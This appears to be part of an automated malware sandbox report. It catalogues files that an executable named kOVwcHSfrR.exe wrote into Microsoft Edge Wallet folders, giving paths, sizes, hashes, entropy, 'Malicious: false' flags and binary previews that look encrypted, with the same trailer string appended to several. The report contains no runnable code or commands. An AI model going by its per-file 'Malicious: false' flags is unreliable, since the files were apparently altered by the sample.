SHA-512:	8BDB1AE9B4C48C92D060D4F4A04F5F35AC29F1E8BDCA8183E6B208930C8CF26FE8DB92DF659137754EE8C95A6331ABA6E8726AE477ACE2DD0D9F7C3157192579
Malicious:	false
Preview:	/! F..s..h......\|}..P...@.#........W[....Db+......lW\_..^.L.....{...........<....]...,.0..#uT....B...Z....Y...o..6Na.\|.....LP. .'...il.H).}?..y.+K.^....I....f .'........{h0.......a5..((/...Y.nfb.U......oH..O..n./."}..)..-.b.$....$....yjU.AO).......T.Eb.[k(.W.~`D./,w......M...B.f..B.iZ..H.By.J....x....W.C....D.3.M.;h..ml.0..h....$.(.N...=..l.eS!T..9.k..n.7y.x..5..........9>....C=y.a.27.@.li...e;...L..Kq.<...K.AbQr..r.N=&Y....K+/.~3...N.....s..h...$....!i.)....5c..U.uF"..g1.6 .g.....6.0.C...F...R....\@.......k(R#...@..F,...........c;\|p..z.....,.+.v6.Yk&S.I.j.....o".%.{A%....0;.Q..J...`.0.{Z.../....A.a......_.`.SD.....B.......^..0r..t...J..2....z..6../*..X.d.....s.....>.dC....x..'....;P.2TK....a(n.Q..L_.6.+.p..f.....X=.4+..B.k.NL2H..n,....^d...:n.....a.........--+..u.......i.H.g...I[..m........H.../.e.<K.NL.\Ua.JY..C..^......]Xch&...J.......-.EP[......p..6/6.U...U...{(3..a[..wO..4......'.......NN..c.q>.8.@..O........IzV.....#.%.c@..J.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\mini-wallet.html

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.893887661819446
Encrypted:	false
SSDEEP:	48:O5/HgeOuNgKG1Rr611Tmd8je4TMEp/ri5GyD:8Ae7gHRr611adAp/riUa
MD5:	7E5D9088ECD27C3E2A32335BD0CCA925
SHA1:	4A021B778865A3C3CE30EA555594F0365DA129BD
SHA-256:	999C4A21A3AA6BFECE185CC24DF7385B5B37D020E70BF6064A01253E605FE8AC
SHA-512:	BC6CCB1EC4A9A4C8CC489036C4E28E577F38EAB7CDB8B4558C30EF801A53EDB10EA678F40558D91417876F5BCEA71E50C8946EAFE1EF041D5222EB790CC168C2
Malicious:	false
Preview:	<!doc`.8.R......X.....M\|.......PX.x%;.&.:...\|q.G(\|[.. Rc...".(X...\b]z.CD..L...z..~... Y.......y@....$R..=y$So$......-...n7}....{.6,..j..5'r.D>%;O...w...j.AC..i..c..k&K.B............T.#yA..R..En..h.;d.........&..vIz.R9..\|....m..{fYE.....$P...t.P.... .h.D.......R.cs@..,^....~....<....H.p!.._....C!..I..)....F....@....?......S....3.wU..W[...y.I......T...S.-.;`D\|. ...=Jf.O..G.1...=.....[..%.8...NC.`.It.e.Q.P.;[............/.B...r.q..0$....Y.B...}..$k._......pi..M'.{5....Qj...)...Z......=.R3........g.Yi.s..o...$.. ...Z.d.U...R..w.j.....'..H.q.U...J7....P.>[sa.:..... .....\./U..rh..O..W.S}...j..r..Y.I.5EL8.....O......1xT......8.Fc..Z.u.._..r...?....F.X...U!( B.&.C..m^yM...6.<._.PD-..7..T......t....c.....#...k>2..;..f.....f..t..s.X.T.}.g....A.pY.kqa....=.;<.c.1n.l....8....f(.e.K.R$..g-.6.(~..1(pp...O...%....9.Of.-._~E+....m9$...8QR..t.'...q....4w]...........k.)...-.m.?..........T<..Z'Q..~c........u. .1.}\......mB..g..4c5o..@.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	363249
Entropy (8bit):	7.12324359719169
Encrypted:	false
SSDEEP:	6144:JjO6tCvzJAvzhux9C2xjcuik3MWf9FE5PdwGvPJvUcr2GLI:dOjK9q9CgZP3M49OZqcrVM
MD5:	BA7FC2576C4DD684858D09AC9CD4F9F9
SHA1:	E21F860F7366E83AA551AF10CA914B6C2F73B204
SHA-256:	67676A9DDAEFEB535155FD25A3A182ADF36D6F5C0936289113B7B696C88D0E51
SHA-512:	AD01635E8D7F7C655B2A05CA19BD6D52B2C99DA5BDEAFA8EFBE46D3D162DDB055688A860982F575DD2D6016FB0922F9E651B9FA3D9C27ABA3443328622AD21E3
Malicious:	false
Preview:	/! FF....$d>8!.`..g....X.]...bo.@...J..&...a.....Kxm...o.+n.".x^......6...,.......~.H:...)..^..n..=:.Q.......x.!Ad=7..............o.~,.3....Ddw.A.l.....,... .&.Z.j...V&...7.ch...!..+.a.. Ap.....G..f.c,..As.\|../......vtK.....X..c.awi.;.z.u..../.\.....&"B..Z.y..5btf..b..p..=&ur...Ic.....'c.NFS..-.I.....+\\|......0i..[..s..zPA.ny)....l.Oc...p.R......vx".Tg.Y~...T(\J..i.s.A.{..i. ....e?.+......}.%Q.h3..P5...@....TfH...`./.^.o....G.Npw..&..;G...R.aC.................J.J.&/....i.wY(].......%..........@..WiL.........,.2..?...w.../Z....d'.na..._M007O.7P...A^.==./..w.y4.h..&d..f.~....>.......b_.....Es.......r./.:F..J..."+G..r....^._.kHt.)\.j......h.........5:.....Ai.{h.z...D...6.i.k?G-.......3.A.L2..F4.S.:.~...K......0\..Z;D.C.o..^SgW.E..G(.).......bj.s~....9.@0.~Ryl...Q.z.?z.>....?....+.u"..W..\.)...}.....4c..U...@....9.A..U.=e.s.2E........L..@....+..... .<..p+...,.x....j.... %cc..FSX..FSP0.......]?%e#.P<...... M~i....y..7{.;.'.7.#.;..Yw..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.625297420435932
Encrypted:	false
SSDEEP:	12:U4QaG6sAVc4MuGuXB1kbunTd4l6fOzWEwqwLLbO/woqw1cii9a:1QaGqVEuR1kbwTugMwqILgww1bD
MD5:	4EECDC00476A90CA87794732FF4C515B
SHA1:	849822335BF23B3646DF8C43246CC2F40D429F31
SHA-256:	BE6C45B80C602E600BC91BE6F0345C39AFBE51FC7A983F177873D5BB362F7506
SHA-512:	6A4F1F0D3538A8D0D1EE5D96D7154E45CC6DB325476F3D374EE8D91BEC7DA4CF82834CF9EB05B6AA803032D7995E84DBC45891B072075A80E3FDE45E7BF80CBE
Malicious:	false
Preview:	/.ob...h~hP....K.(...<..s..-Y..!..(.t.TL........1..}.g.A.....H........n.d....F...Z.d..59r-:.vV..Ug.%y...v.T.....dUp.+...9?D..&. }......YU...$.M'&a]...n........t.bu..)..lA.z{y.}/(~.2.&.o..ZQn.Yl...(.0;....Wh..@.. ..G....~.65?>.N......O....)...w+..K.`..9..,8_..GG.9]..$.7>[7..X.6..I...j..va...`4.c.Z.....V..M...>%{A...jb$)...vc7.W..H.y#....[.&Y/H.3....G].5.....e....F.........u..TI.^f*..;Cp....".;K.,e...Xvk...g.lLY..H.iF...............)d.j.].b.p.Op._,..........."...C.....p..3@u...t.)9H.95..r..`+....>Ml\S.+...z0z>.?.........TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\shimmer.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1375
Entropy (8bit):	7.852399059807291
Encrypted:	false
SSDEEP:	24:9sb0BczTXAnzJ3mQd8Vk3Y+w47AinF/HWBKSe4bfIwi95z0tX6Bu9d/w1bD:JBuzANPSVp47jFPn54bflWz0tKC/yD
MD5:	851668C39E0E3747BE6F09AFCB2F5818
SHA1:	E86F957D8C86D51A4CB37B9B59752F4EAD2DB0D2
SHA-256:	77F736DDF28A5EBAD090C28B146FA310A9608E750C58C624693542362733181D
SHA-512:	F0925342CFE4757CBBA1992DE7F0E462C62A3A1B85C516D98585F5333BB0123295F81E02DB1D69EB5CDD53F9D6D16BE3E0A86C55C0A4B7C81E6D726E46270DB3
Malicious:	false
Preview:	(()=>..S..L.e..N.A..@..q.:.C[.w....t8G..X.g...o\..K..z...'.H.h\....P1.".i9....(-.b2cbe..xG.Nc..4t......o..(..rv%...C.F...wYk.f....V.......=....:.Q..!......w.Ly...?u.&..Z..w.)b.OU.%j....!u.....#C....$Aa...!)._..<}.%...:dX..6..@.......@...@.. .L.gYyYOs>.[..e.\.....G...7!.R.J.....p.-..7......>T.)...j...8g...OzJ.3....k..ELd..$q.......3.MoH..Q..T].........0._{{]ZQs..1.q.^r...vN T.2.d.q..p...O,W.......Q ...O/}5.;.......Os....-.. .O.}.S....,.q...........2..a.....<l.n...VR..&m,.a.r..n.)......3...(..]1.QtB..[.x.VFvd..ka...B6./.E...[~RE..;.~JvEa.g.N22P...X."....e...7.?..X........!.z8bR...].A*.....@..A.9).a.....dQ.:sgK.H.!....u..+......AW.#..fV........H.s.....V-.h..O...X"ha9.f...v.1q.e..}`..N...5z..q^>L.lL.s.Mic+)....&...Rv.....%...v...F..';.d..-.5..B.K............n.MO6.a..........l 3.+..D.'T)..Z.c...%..O..E.r..k.........T...M:...;..i..q?e.o.C].&..7GO....v7.G^[........\|.G..D...+=j.......b..uH.$.........%..@<.=..$.%....c.i.$..o~.."...?uE.g)q%

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	493440
Entropy (8bit):	6.995196440051335
Encrypted:	false
SSDEEP:	12288:kVxLDNVrP2awcmQh9WE1NVYFQ7Mjh5+kJSe3JZkJT3jucyEfQHe3JMqDcMrqyrow:stD3rP99WE1NVYFQ7Mjh5+kJSe3JZkJb
MD5:	5D844BAA257B92C0F830D60E9CF4D51A
SHA1:	70B47606503314EEDA0A9A4AAACFF70906A808C3
SHA-256:	ECA23C22BEE53AED9FBA1FF36F711A65F3AD12DDB29592D31CA4D8DFC1334D7F
SHA-512:	D1724E23B74E93E836FBF244C618CBFC130B63CBB7A89E0B1CD59D3B1A5CCDBDBA56AE1775A507D0E247A25DBAAA9B258D8E4AEFEB1206FC4C3C7BB3E6E36BDF
Malicious:	false
Preview:	/! F.'...m"xF.u....d..wMXl......j .....'.........I.fW...{2...R......]......z..<;...h&....!thj-..s..z...c..X.+.\|u-....W.x...<g.Ct6vF.ncZo..>s.c..D.}.%_..Y.q.3u.4..6......1I.Z.Q.`.\.(.....DH.i.D=d...h.=.......IpY...n...6...G.t@..rj8H.K<7..............st...'..,[....;..y..."..J...it.3.K.4K{$...>._;2...Y..>Z.b.'..../o.k..>.iy..........Sg.o.K.mNq.3.z.`R....6...b.O.T.3..3<F....x_.....O./.....8........)@..mx/......../`..t.~....$..=.~.&S.:.p[......p.-....... .O[>.}.Em{..aC....W..b.5...q#..k I.v..R...0..d...8.......a&....".?....B.~$2..../9..Z.j..L.f...s.cN.h..Qw^..T..m/b.8....;.w0g<.r..3..q%.u.t..(.........(c...J.2......R.......yB(j.J.A.}.{....~=.@.....`/.Vp....S.-.UM=.1+Q.3...M...Ri.0>..=..L.5.]..6......M6)J.e.oN...._.....7.....j..5...,.y.n.Q6)#A..8...0-T.ht..W..T...7/5.S...>.....s.^...\|.6....#..]...5.....".+.....Q.0>`........(...L.e!....%.S...F..,.D.G...O.&..%.:....>..v.N.....Da[..N.H...u..V.....~...-.T.:..,../..y.e...........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1651
Entropy (8bit):	7.871765047961909
Encrypted:	false
SSDEEP:	48:Aa/1ikPPIEGu2FxA/HhFqLR6WyzpwtUsOahyD:AK1XP/2FG/BsCVw4aha
MD5:	C1D8145E51C7A3DE98923A4E7ED3A536
SHA1:	41FFB84D875F463D8FFFBFD78A18F3B377B0E428
SHA-256:	B301BEEBB9FF44707FAE2F703FD0222D0B73CD3ADCE09170DDD031483D8F097C
SHA-512:	051DC60634403F450E260635C6531618C795FB68984B23D0FC8E2FBE7C8E7B7C128AA5CC94C49D91FC470C91B48A9E00174F89A1FF59BD904C0433FE4CFE37BD
Malicious:	false
Preview:	/.ob....M.....Z..$:.0T.)..x....$..84....R.cU.....{.58<.....j.+Q..J.....y.B"...vL.~..........S:YI..`,.a..0.Rl........^..2......o....mAm.0X.......k.....e....d....@..1....1.z...Cva..@.N..."P....T..=U.h4R...K...-.....#..U..S0y...].SW.....Z../.0S...?...P....A....\`....r...H..h......;....~.s...x3.}H....A......(/4..a}.8.....z..#.!..i.&....5..6...Tb..C)wP&..8....w....Qp.HM....l.......'.e..#.?.`... ........"....q...).v.N8...j)?.....h..V....G....:.;.I-..I...Fc.z.K.D..]...\)........K.V.....>...e.a.....)...y....X...C)1......Fu]j..P.....)...B.R...B...........{GN..As%I.O.[.h..<.[V.&...9j.V..}l.I{.% z..<.....O.\|\{.}.j..............a.hE.....zm....I......8...Db...R]....dw$.. ...c.6.9..pJ.]n`.i..P.F\|.(>.3`%.oY.....<..q1go'U.......~..._~...%.\....&h.S.....G.q-...I.L.O.....E..cJ...D...../..w.}~.....m...f....f..X...s3..a_>.)5a...6f...U,3JW...B.......h.i..>n.LSzM.I(s.+.{8.v.../U.h.u..K...\>..[P..-Z...F...}%m..K.\.Nm.!T...`z2_..nB.R..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.html

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	5239
Entropy (8bit):	7.963766028981238
Encrypted:	false
SSDEEP:	96:35+57KA+3pVeq8r+756+8U/8x7fVYJNOoctTGJN86BDK3e2Mo20ZrHUa:35+5SVeNrA0+jWfVhocAJN86Bu3eg20d
MD5:	5474F7082C50C3F1C5148E6796E5B5A0
SHA1:	16DAA5AEB18E92D1117204774E3F59BCCF165AA0
SHA-256:	37F132173A53EF6D33A3257D400372600653633C2080820A8F0B6D2B0CB8301D
SHA-512:	3C28A3D41937FB914E48820E6097F61650329085677E74904FC649D1D37E4AE640F617F75D7D8C209B3AABC55D6FF62B9A40432DE534FB948BD51F64A94DA5B4
Malicious:	false
Preview:	<!doca.....n.Q......R.`.SV...........%.....T.x...7q.,..]}.4Q....rsJ...^V..r.#..........wp.t..A......n.(p..,...V.&n.Op.W-.....VGE.).q..G.5iV.9..Y..\j.E...3...Y.....}.[h0-flr...I...{..k\|g...5&!I.4....4.wy..%u...%g......N....2.w2..b......;.tQrUxD3....%z........y..t.T."..........n..}..}j...ZI.@k.<U.r..P".Jq.....g....>...%..&,#.Qt3@.(.a.^.F.;./..p..RB..........O<..A~.......Qu...f^....]I.6_-.......+'.x.zr.'..97..-."@4E.}i..9..L......k.Cs}..~Bt....g...A>...1._..C.=..U...[P..I...).a.T..../3R....8t..w.1>8.@..G.x<......R......J3G..K.D.:.H.w.Nm.JL.b...\.O4.1..FF.G. ....A,dJ....y.....FeP..."$e'j.......7.y...Y.<..2T..E&....>.......I...W....;.x..FF2_......!?.(9R\|E... ..........37.......SQ.2:.?8.nOB...\=<YF......O...&.P..p.+.e/;.V....i.......d.x..6i...!7.w.q;..J,4..H......D.6.Z..T.e(o.L...r.:....C..K....U.......A....XA;.q....K.M.H...2=$...w,&....9..y_..@jQ....TJ..6.L.G]....[:~7............9../...;..l...3..k4...E..#.c....l.ea..'-&.\.....?.i..\I

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	330024
Entropy (8bit):	7.341456645915265
Encrypted:	false
SSDEEP:	6144:/WT9P8snKoSCo2JGL4oCr2Wy+mFZnO19zyqpDdDWBQBfMrE/qWbgo9AhTZQKZBGz:wFnK/2GL4Dxy+undqpgBQ9MrUqQ9KtM
MD5:	39D1EAA3CA4CA9DF63EE2DF4A540B2C8
SHA1:	52BFCA987DE97314EDBDA046AF856E47165CBA61
SHA-256:	28F32EDFC9360442C869CA8566A82082B36CDD3149A6CD86C207C564D7B4408B
SHA-512:	EA90C9C60A5290F536B585218B8A4CA1B69C3A74D7F3F022598FD26A435218022FCEE267F72AEDC68449B1F77D379026F66A35F36D422219FBE94318C3D41EE3
Malicious:	false
Preview:	/! FZ._..,z...0.b...(.B.{..`..UR....d...@.Q..u&..!.....-..d...kf$q4.U..#.:D%......7...?.1].~x.l...$C.lt...+...i.o...`.f..4.....7q..`B.5..c.X..,.(...l:d.4..J0...-...lY.......c.\|..<K.7....zU.f..7.Ir...7w2...../.la.=.\.........;.....h...v..3.v..{....,.7!.a.d..:lG..I............(....B=.~.......o\2.B.......%.I.%..l.=.......z..L..;y.I......^.V.e...kMt...~99........J.E..E..\.M%F..}tTw.....Z...m.....p.q..c..][.\|......Xp.1.[.(........!.I.&Q.R.l.i}z...h..m.....\".._.`...k..C.....9u8.v.p2....c.....}..8...8.....6...3....^....F.UZ....R....3.m...._...B.,.PI.=#.:.;.y.=p...W.L..._...5./.G=.Q.(.c..uL............E.../..~...,FI<:W.j.\|9.tm.yL..@.y.[...S..z...'Z...2.3.j.].-.[....J..v......q.B...pD_t...h..>........C..A.1....+i.:9k......AM.3o.w...........V...r.?......B..jC.N..).Bl9.O..OK..KwT...;.[...?..{ ....T.-......iM....G..$w..U.........40...,s.._c..ak.z...t..(.VRN..>..1..A\|3l...i;^....Y<......lm......:.....w......C.\|..g.K\h....M...S!2.fx.#.....w....5..LYv

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.644016979402528
Encrypted:	false
SSDEEP:	12:Ulm8ajGudLsqMycEnMlAS1R+ZB8XEoY1tKzWH/rawdF1TvjEUqnxSPHNUpsNoqwd:OO9L/MycEMlAST0iXGQWH/u4FNv4KPHA
MD5:	31CD5D8FE4A50E666C6EA008AE2F45BB
SHA1:	5CD391928CA8C059CB3414755BFF5D7BF6A82033
SHA-256:	60147F6DA0352318761DC0068182AB9841F2761C062DD28A259CDC671A355CC6
SHA-512:	EC862AAA9C3832E1B90A4AC83A90C0FD1B389EB8FAD47B1C9336DEBF302596467312F47A266CFE7FDD6744E85701F1F314CA31A0707A810371CCD3EA294B4CB0
Malicious:	false
Preview:	/.ob..+..5.....\|k....@.A.u..m.......<....!z./............2..........C.7..up...^v.4...'-_l$.......w.......+...p...E...(kS.h.4...s].....6.`.)..J..`.D.j+q:..6...M.&wP.......a.B..c..$[.1..Wc9 O7.~..P.#.....=.y..E.]...Yv.6@i..'4.#}.....'..0.G..2.........:....+\|.z].X...+..Rd.+.8S..2..Mb.RP.....h_..=...m:..sJ........z....,r...u.@..L..tK.g..bl.....=nc..X.3?.N_u...\v....v...0....@k.^.rbC.L...>..S.h..:....q9n.k.......r..{9D....J.."F.Dg..y.?p..c.........2I:...f..Hj8...d.`....gv#X.kz..$....[..c......../YBI......'...m.".=......U dTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.html

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1890
Entropy (8bit):	7.887437620591764
Encrypted:	false
SSDEEP:	48:mllqkmRwc1Cy7ndbFmOr1VujeUM/9fgNHWQxZ2l8iyD:0qkTwFFmONUiMWtTa
MD5:	3C3A08162EC61FC119C978B7E7F528C2
SHA1:	6306E410A86BFD38CB8EDF5EF0298D3A073C170F
SHA-256:	D8D7BA43FDCBFDB32FF5BBF3273AF249F917574480E722790D35131C0DB640F0
SHA-512:	1745CCF7FF99D3CFB06846D505AEA370B0D65E835899400A9F99C2A0735F3F1567E19891F95898A63A275EC3C394BD1776A8354CEF12DD02DD618534A2224821
Malicious:	false
Preview:	<!doc......%.f....~....N.....k.....H....7.,.L......#Es..n..c..........N.}T..bq..@..\|..r..K.....I.....?p...).I...:5.[n^.2&j.2..N.:.Q.....&CQ....b.Q...0...>.[NH.{v.6Gt.".m...Bu..xq.....&.'.u..I.f.Z..\|.C.<.po.$@.d..\.JU.&OQ@...1..........$v......>.^.Q.7..n.>.1..X..u_2.c..5E}.c......R..Z..aC.cHD37PR..>2..U......eb._....i....e a....'2~....4.q.fG.......5.c....0a3.f+..i=..F_._yS...C...p..x...u..V.R{.X.aS......I.e..../.G....[F.bV.....5.}uG.WBj)m3l.&.<.....$.i}..C..&1.n81..E. ."...rD.O+..V........._.:y.L...Y.V.e.Y......e..2.i......(h.2....c}0.a.%.{lr.....o;..G....X0H....AK\.A.g>....?.(.......}o.._.o&].Q. .[wp.O;..c.@...pE....b.....a. .i..8....Da...M..N.b[...zst._.5... ...uL......sT...Y.O....9..[mMG].$...D.q.UZ.Ug.=.E.h#....5....p.^..P?....)......C..$..UPN.t.@.5.....0.>.2.t.. .:...4G"...N2...7...E#.z.2..>..m..(<1..n.R..`_..[..kM....#........_......BB.k.....>P(.d....9..SXg......6...:....n..y....D.....y...2w...o."B.W9.a..L... .M....>.9...U

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	552583
Entropy (8bit):	6.7851530019615485
Encrypted:	false
SSDEEP:	12288:JMCQ7LS18Xvx7N+skLnBYFQPMjh5OkJSe3J9OkJT+jucyBfQHe3JbwrQKZ2g/YO9:JMA18vx7N+skLnBYFQPMjh5OkJSe3J9o
MD5:	A676E624A31A0915A02E57663A8C9F30
SHA1:	C739DDF0312B6207A24BAFE6B6E14423D92FD9F5
SHA-256:	CBB11E458DA069ED6CB5C1829EEC5298B22C4F7F1DCF48C87ABBA0775973975A
SHA-512:	489DE31596D6388529AAF355263650F98EC6A3D5404068852B77F1380576D415DE775C50F8A47CF616C9D2036C1E0857618BD88D3E8535C6815F1DFC97A9E735
Malicious:	false
Preview:	/! FM..?.6i..1.{....0Si......C...[..-...@.$].7..J+.R..e....Mr.o!.B.b.Qg....T0,..M.&o.[...2..."Wv/.{...'~.ouB.&...S8...9..gF.h$..(...>..i.m"}.CJQ...T.C^!N.x.......!tp....R.E.%7^.....p.\|.x.9.A.?O..1..Y..1.dm..6t[,%8..l.4b...@...7;.......F.FB.(.e.1...Z.p.>.................1..l...vW.u0h2jxBq...%!..<.K......(E...W.6T..?.W.. ...R&....#..[.U...<..~#..\..i..?....K\.d...._.....Z]y.Ov.t].>C...r.............P.!Pr.x..Z6..........Ye..9.tkp..S.b8"/d/Tj.K..CU....e=....,.....Y.i%...N...Q..4.\.I.."f...S...W.k.m.}qLu.{.!.3....@=.q.=.....fb{..r..8......g....N.....d.+..\|_P...2@2.A..{.\|-9L.2...1.o.H(..=.%+.Y....q.n.&^.v....8..n\.b....h..f_.;...u...U.. ......oO..DC6../4.\|..}..8.?!.w....KWoyeX.fD9.x........Wb0{.T...<s..1.8.m......./..a\|.H..l.B.am.S.X..[5$.A.a..K'i...A...bT.X..;GN.A..TE...I#.K%EQ....u.91..*T..S..v/.....G........M.a_.....L.G..#.{78.g.2...{.R.o.....4...~../..G.,.5P.kfk..v.i.}Q.W.sp.g.d....?.....o/`$.V.c.m...2..l/.!...p...e.s`L....F6....-Pk ..x

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1651
Entropy (8bit):	7.889577378973757
Encrypted:	false
SSDEEP:	24:AtZN9Lg34JIYq9ZCumA9EtnC6ae6C8qNMByooZiUaoZQoQyG0/vtz1w1bD:AtnO3uIYm2A9EtnUv2nZAOZdQyGY1yD
MD5:	1FA8F8CC9BBC85835CFD2482D032A969
SHA1:	C9BCE0C3A279D83752521F3CFDCAFD03A441D787
SHA-256:	E01404C6703EE36F1D05F5A980FED45CF959169E3894D18F30771E18D4987BF4
SHA-512:	8A09A28228F6E62845031552C35FED88B07FF9CACA301F24BEE8A135E10BDBB056C0D4521DA6E20F9A2B335291DBBEF7D15550A39123783F21463EA72CF4FC90
Malicious:	false
Preview:	/.obYl._...5.\|...3,;N.;$...G..O..2>Ba....Q...\|.a.dS....X.:.c........(}.5$......{yWs. ^bs.B.7^$..\J1...m;....s..u.q.lZ..w...H.O..$.4.....<.....3.......h..?....9W.....h=Nv_.....].<.t.... .h+..P....u.j...R......`.....Y{...2.E....'\n.SlaS..,.}..g...J!....B......5Z..f.k..S..u{...A.x%..,.....u .K....}....oS.=..)..`.......~..r=.3..r.D^...huU...9.H.....B..U..dW....].]..Y.. 4.9.X.)..A..,.X.....;.Am..$_.]LZ.Y......n.5.....lRK.....@.9Ha.Y.l.G.).. T0"Qw..@ar.`.."..[8...~..9..9...$..5.....I..#..p...m..M!.v.O..Z!..d....n...r..a....F...GN.f....g...#=.=.~...y...i.{....7F7..'R>........$...M.p.^a<Q!3.+aA]8....tD.o3...R.8.....'..t.....>.....UF..D7........3X.......{...x...O%z.....CJ.Rc...K[0.W\.....o.%3..b..wqb..9..I...d.9t..:.....%.D.@.q.w..KW0u...S..B..W.4.MwU..u..#N.....4..f..\|&...1..."...$..y[J.......;...........n...R.....KU..E.e.".Y.....zC..r.b.J.e.q~x...6....b..7%..q..1...C....}..;e..9...w5E...;.Q...Fm....K$.C}..9.5..N1L............y'W.B......B

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.html

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.887188723416208
Encrypted:	false
SSDEEP:	48:bZjSdU1rpMlbz3ZkjOduaEbyL7JRZCnQQ+KyD:NjiUjM/J/QaEexjqZa
MD5:	2483C4C114ED60F1B249B018025E0024
SHA1:	DF7CA8579348E01864788B5F8B6E7DCB6AEF9B2C
SHA-256:	1DB7D0B90297A0D8EEAC2D04F1BE663E9BD48273A577AA18E391EE2D0EFD38F4
SHA-512:	1E39D3D1108C1DA5B3791DDD56D9F090C5234720E1E2D71F3820D71C5CDCCFCA7048E4E2EEF9AD9EE457671E4253D1C7981C7EA7A8DB3795C5E5A3F1A8B8A5FC
Malicious:	false
Preview:	<!doce....\|....&}..x.sD"'.E.g+.G8w.h.....~X.\T5_...o...\|.S..Ri..,}.,..u7.qU...4&a.k.o.......m.g.u.G6.s....P.m..h..f....=K..+.@H->......:.>...C..6}^..r..y..s\|.....9mc../.X.t. .....Fjn.f...tU....S92......[.a..]..U./.H.hB.P..m.......s.#b~..$J.\.`Og..?..c.7B.(=6xPB.[P..M.Tp...!.....z.=T........o.w..s!...V..:.B...G..N.l>......].swl.!..9...\..m..Y..T.+d...4(.}..&R...H..f..s.......#.F...o<..I.s...\$U.r.....=.V.o[/l.R,..12....".\|..).>.c+`..Y.a.B,. Yi..W.....0.......Y....A..,..f.r z J0U.brZ.L.BxI...t{x.kI....6...C..Ck.q.SeU_=R..... ...p......2.=....L..w.......lr>..7B.,\_.$.Y.%V.g...!.Kt5fM.q..ah...7"=gg(.o2...SI...1t....B..t..$.W........O....,..1.v....o..?\.^...5...~...-).....k....w...D.w.f.@-P..$.Z..c....UUj...D.x;I/..jB.-(.{.....{..{.< .7G....8.......I.0...-k,.......6:wM.86....6RF .a.K!a.....G.C.....wd.c...s....Q...P.t...&.. ....&..#....h.L.~J'..Q!_.t.....'.T.h.e..T.WJ.a.MB...A.b..F...q..e...#.`.8.?.........O.t.".....M.*.f..s.<.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\app-setup.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	371
Entropy (8bit):	7.249357943077136
Encrypted:	false
SSDEEP:	6:nXLFUL/DAGfGV+Ka2e4GMwVazxM704YKz8IGr33aTRlrMaaWhO+mowfw5XeWciik:bWDFfxKQ4OV+KgIGrsRlQaam8oqw1ciD
MD5:	47DD8A18DBA4174474D953FD29AA3965
SHA1:	8E6AA8D73A24DE8BD8A95FEE2619041D52BCDFCE
SHA-256:	F5EE4AF29F6557C431276E888DC781EF59CC64049D0D31409549E84A2D2B0D69
SHA-512:	166603F4C4B82FA6C37BF8022FEF5D3658BBF7A412E1381A7D9073566BD6DF6B33DBEF1481E07B21B5F713931A9F15FE47BDE942F4C40D4006F1208D52F2383C
Malicious:	false
